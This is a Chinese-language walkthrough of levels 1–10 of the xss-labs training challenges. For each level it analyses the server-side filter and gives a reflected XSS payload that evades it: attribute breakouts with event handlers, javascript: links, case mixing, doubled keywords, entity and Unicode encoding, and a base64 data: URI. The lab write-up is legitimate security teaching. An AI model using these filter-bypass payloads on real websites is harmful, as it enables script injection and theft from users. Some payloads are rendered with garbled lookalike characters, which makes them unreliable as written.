xss-labs通关攻略教程(level1~level 10)
level 1观察题目,发现用户名在url处被提交,且输出用户名的长度为42. 查看源码,发现参数未进行任何过滤,猜测为反射型xss3. 修改name参数为<script>alert("xss")</script>level 2观察页面提示,发现依然为反射型xss,但是与上一关不同之处在于有了搜索框。尝试添加与上一关相同的参数查看源码,发现<和>被HTML字符实
文章目录
level 1
观察题目,发现用户名在url
处被提交,且输出用户名的长度为4
2. 查看源码,发现参数未进行任何过滤,猜测为反射型xss
3. 修改name
参数为
<script>alert("xss")</script>
level 2——闭合标签
- 观察页面提示,发现依然为反射型
xss
,但是与上一关不同之处在于有了搜索框。 - 尝试添加与上一关相同的参数
- 查看源码,发现
<
和>
被HTML字符实体化为<、>
,"
被HTML
字符实体化为"
猜测在服务器端对keyword
这个参数使用了htmlspecialchars()
函数,但是value参数中的值未被恶意编码,其中输入的payload
被赋值给value
,可以考虑闭合value
的参数值。 - 显示在页面上的恶意代码不可以改变,于是尝试从标签中的属性进行突破,将属性中的
>
和<
进行闭合
"><script>alert('xss')</script>//
level 3——单引号闭合并添加事件
- 尝试提交一个随便的参数,查看
url
中是否有提示 - 输入构造的弹窗测试语句
<script>alert("xss")</script>
查看页面响应并查看网页源代码
发现于上一关基本相同,区别在于value
值也被转义。
4. 对照服务器端的源码,
keyword
和value
两个参数均使用了htmlspecialchars()
函数,且参数value
的闭合方式为单引号。
5. 最后的<
和 >
均被转义,无法逃出<input>
标签,因此考虑事件驱动。
'οnfοcus=javascript:alert('xss')>
没有直接跳转,而是考虑onfocus
事件属性,需要点击输入框才能出现弹窗
level 4——双引号闭合并添加事件
-
尝试输入
<script>alert('xss')</script>
发现依然为get
传参。 -
查看网页源码,
<h2>
标签处的将<
和>
进行了转义,而参数value
将<
和>
删除了。 -
查看服务器端的源码,其中
value
的闭合方式为双引号 -
但事件触发不使用这两处的符号,于是用上一关的方法
"onfocus=javascript:alert('xss')>//
level 5——javascript伪协议
- 输入语句
<script>alert("xss")</script>
进行测试,发现依然为get
方式传参。 - 查看网页源码,发现
<h2>
标签处进行转义,而参数value
的标签<script>
中被恶意添加了下划线。 - 我们尝试上一关触发事件的
payload
"onfocus=javascript:alert('xss')>
查看网页源码发现onfocus
也被恶意添加了下划线。
4. 查看服务器端源码,闭合方式为双引号
- 将get方式传递到服务器端的keyword参数的值进行全小写的转换,然后赋值给str变量。
- 通过str_replace()函数来破坏变量值中的敏感字符的语义。
- 通过htmlspecialchars()函数处理之后显示到网页上,
- 直接将进行敏感字符处理之后的变量值插入到
<input>
标签的value
属性值中。
- 因此我们可以换一个标签来执行js代码
"> <a href=javascript:alert('xss') > xss</a> //
点击xss
链接即可出现弹窗。
level 6——大小写绕过
- 使用弹窗语句测试
<script>alert("xss")</script>
依然为get传参。
2. 查看网页源码,发现<script>
标签依然被恶意添加了下划线
3. 使用onfocus
事件测试,
"οnfοcus=javascript:alert("xss")>
同样被恶意添加了下划线
4. 使用<a href=" ">
标签来测试,
"> <a href=javascript:alert('xss') > xss</a> //
同样href
被恶意添加下划线
5. 对href
尝试大小写绕过
"><a HrEf=javascript:alert("xss")>xss</a>//
6. 查看服务器端源码
- 将
get
方式传递到服务器端的keyword
参数的值赋值给str变量。 - 用字符
<script
去匹配我们提交的参数值,如果匹配到了就进行替换来破坏原来的语义导致无法实现xss
。此处能够防范的是<script> </script>
这一类的恶意代码。 - 可以看到是用字符
on
去匹配参数值,如果匹配到了就进行替换破坏原有语义。这里主要防范的是利用带有on
字符的事件来触发恶意代码,比如前面用到过的onfocus
事件。 - 可以看到是用字符
src
去进行匹配,得提到<img>
标签。
在标签中引用图片会用到一个属性就是src。正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。
<img>标签代码:?name=<img src=111 onerror=alert('xss')>
- 用字符
data
进行匹配的,比如如果在实际情况中,javascript、script
等关键字被过滤掉了之后,可以用如下语句进行尝试
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
和
javascript:alert("xss")
或者
<script>alert("xss")</script>
的作用是一样的。
- 可以看到是用
<a> </a>
标签中的字符href
来进行匹配,防止通过在href
属性中插入js
代码来点击执行。 - 用
htmlspecialchars()
函数对变量str
进行处理后显示到网页上。 - 直接将
str
变量值插入到了标签的value
属性值中
level 7——双写绕过
- 使用弹窗语句
javascript:alert("xss")
进行测试,并查看网页源码发现<h2>
标签中的双引号被转义处理,且参数value
中的script
也被删除。
2.
"onfocus=javascript:alert('xss')>// on被删除
"><a href=javascript:alert("xss")>xss</a>//
"><a HrEf=javascript:alert("xss")>xss</a>// 均转化为小写
"><a hrehreff=javascriscriptpt:alert("xss")>xss</a>// 双写关键字
3. 查看服务器端代码
- 对参数值转换成了小写
- 将基本的关键字都删除了,但是均只执行了一次 所以可以双写关键字绕过
level 8——unicode编码绕过
- 测试语句并查看网页源码,提交的参数值一个会插入到
<input>
标签的value
属性值中,一个会插入到下方<a>
标签的href
属性值中。
javascript:alert("xss")
2. 依然为get
方式传参,且<a>
标签中javascript
被恶意添加下划线,参数value
中的双引号也被转义
3.
"onfocus=javascript:alert('xss')>//
onfocus
也被恶意添加了下划线
4. 闭合语句的引号被编码;onfocus、javascript
均被恶意破坏语义;未删除关键字,则双写关键字绕过也不可以;大小写绕过也不可以;
考虑使用加密的方法
5. 将弹窗语句进行unicode
编码为javascript:alert('xss')
level 9——检测关键字存在
- 尝试弹窗语句
javascript:alert('xss')
并查看网页源代码
2. 本关依旧为get方式传参,提交的参数值插入到了标签的value属性值中,发现value值的单引号被转义。
3. 但是在<a>
标签的href
属性中却并没有出现该参数值,而是显示的 "您的链接不合法?有没有!"
这样的字符串,猜测这里可能对url
地址做了匹配。只有包含正常的url
地址才能添加到href
属性值中,因此构造一个有正常url地址的恶意代码:
javascript:alert('xss')http://www.qq.com
javascript被恶意添加下划线
4.
javAsCript:alert('xss')http://www.qq.com //尝试大小写绕过
javascriscriptpt:alert('xss')http://www.qq.com //双写关键字绕过
javascript:al
ert('xss')htt
p://www.qq.co
m
//全部编码
javascript:
alert('xss
')【javascript:alert('xss')的unicode编码】//http://www.bbaidu.com
5. 查看服务器端的代码
判断如果字符中没有http://
的话就会返回false
,接着在href
属性值中就会出现"您的链接不合法?有没有!"判断成功后,返回第一次出现的位置,将该字符插入到href
属性值中了
level 10
- 尝试在url中输入测试语句并查看网页源码。
<script>alert('xss')</script>
<h2>
标签中的<
和 >
被转义,并发现了三个看不懂的<input>
标签
-
查看服务器端的源码
$str22
说明是接收t_sort
参数值的。$str33
会删除t_sort参数值中的<
和>
。
这一关就只能是将js代码插入到<input>
标签的属性值中来执行,而不能通过闭合<input>
标签引入新的标签来触发xss
了。 -
t_sort
的<input>
标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)